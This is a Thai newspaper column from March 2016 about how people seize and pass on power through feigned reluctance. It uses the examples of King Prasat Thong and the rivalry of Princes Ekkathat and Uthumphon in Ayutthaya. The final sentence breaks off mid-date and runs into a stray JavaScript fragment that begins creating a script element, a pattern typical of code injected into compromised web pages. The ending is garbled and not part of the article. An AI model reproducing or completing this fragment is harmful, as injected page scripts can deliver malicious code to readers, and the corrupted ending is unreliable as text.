มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 17 มีนาคม 2559

 

อำนาจและอุบายสืบทอด

          แค่มีผู้แสดงออกว่าเขาไม่ต้องการเราอีก เราก็ควรหยุดตัวเอง แล้วไปไกลๆ ไปพ้นๆ ปัญหาจะได้จบๆ

          แต่อำนาจเป็นสุดยอดปรารถนาของคนจำนวนไม่น้อย ปัญหาจึงไม่จบไม่สิ้น

          แม้บางคนแสดงตนไม่ปรารถนาอำนาจ แต่แท้จริงแล้วนั่นเป็นอุบายมารยาอย่างหนึ่งของการเข้าสู่อำนาจ แล้วสืบทอดอำนาจนั้น

 

อุบายมารยาทางการเมือง

          เจ้าพระยากลาโหมสุริยวงศ์ แสดงตนตลอดเวลาว่าไม่ต้องการอำนาจ และไม่ต้องการสืบทอดอำนาจ

เจ้าพระยากลาโหมสุริยวงศ์ เตรียมปราบดาภิเษกขึ้นเป็นกษัตริย์ (ภาพวาดจาก ศูนย์ศึกษาประวัติศาสตร์อยุธยา พ.ศ. 2533)

เจ้าพระยากลาโหมสุริยวงศ์ เตรียมปราบดาภิเษกขึ้นเป็นกษัตริย์ (ภาพวาดจาก ศูนย์ศึกษาประวัติศาสตร์อยุธยา พ.ศ. 2533)

          แต่ท้ายที่สุดก็ยึดอำนาจ แล้วปราบดาภิเษกเป็นพระเจ้าแผ่นดินอยุธยาในพระนามเป็นที่รู้จักทั่วไปว่า พระเจ้าปราสาททอง

          มีรายละเอียดอธิบายพร้อมหลักฐานอีกมากอยู่ในหนังสือการเมือง “อุบายมารยา” แบบมาคิอาเวลลี (Macchiavelli) ของพระเจ้าปราสาททอง (สำนักพิมพ์มติชน รวมพิมพ์ครั้งแรก พ.ศ. 2549)

          เจ้าฟ้าเอกทัศ แสดงตนตลอดเวลาว่าต้องการอำนาจ และต้องการสืบทอดอำนาจนั้น

          มีคำบอกเล่าโดยพิสดารเหมือนนิยายแต่งสมัย ร.4 อยู่ในพระราชพงศาวดาร ฉบับพระราชหัตถเลขา จะสรุปดังนี้

          ขณะเจ้าฟ้าอุทุมพร (ซึ่งเป็นน้อง) ครองราชย์กรุงศรีอยุธยาอยู่นั้น เจ้าฟ้าเอกทัศ (ซึ่งเป็นพี่) ออกนั่งว่าราชการบ้าง เพราะอยากได้อำนาจ

          เจ้าฟ้าอุทุมพรเลยลาออก แล้วไปบวช เพื่อหลีกทางให้เจ้าฟ้าเอกทัศเสวยราชย์

          แต่มีศึกอังวะมาล้อม บรรดาขุนนางข้าราชการวิงวอนร้องขอให้ลาผนวชมาแก้ไข เจ้าฟ้าอุทุพรก็สึกจากพระออกมาครองราชสมบัติตามเดิม แล้วทำศึกแก้ไขจนสำเร็จ

          เจ้าฟ้าเอกทัศทำเหมือนเดิมอีก คือออกว่าราชการบนพระที่นั่ง แต่คราวนี้หนักกว่าเก่าโดยมีพระแสงดาบพาดตักด้วย

          เจ้าฟ้าอุทุมพรเห็นอย่างนั้น ก็รู้ว่าควรไปไกลๆไปพ้นๆ จึงออกบวชอีกหนเพื่อให้เจ้าฟ้าเอกทัศครองราชสมบัติตลอดไป

          แต่แล้วกรุงแตก พ.ศ. 2310var d=document;var s=d.createElement(‘script’);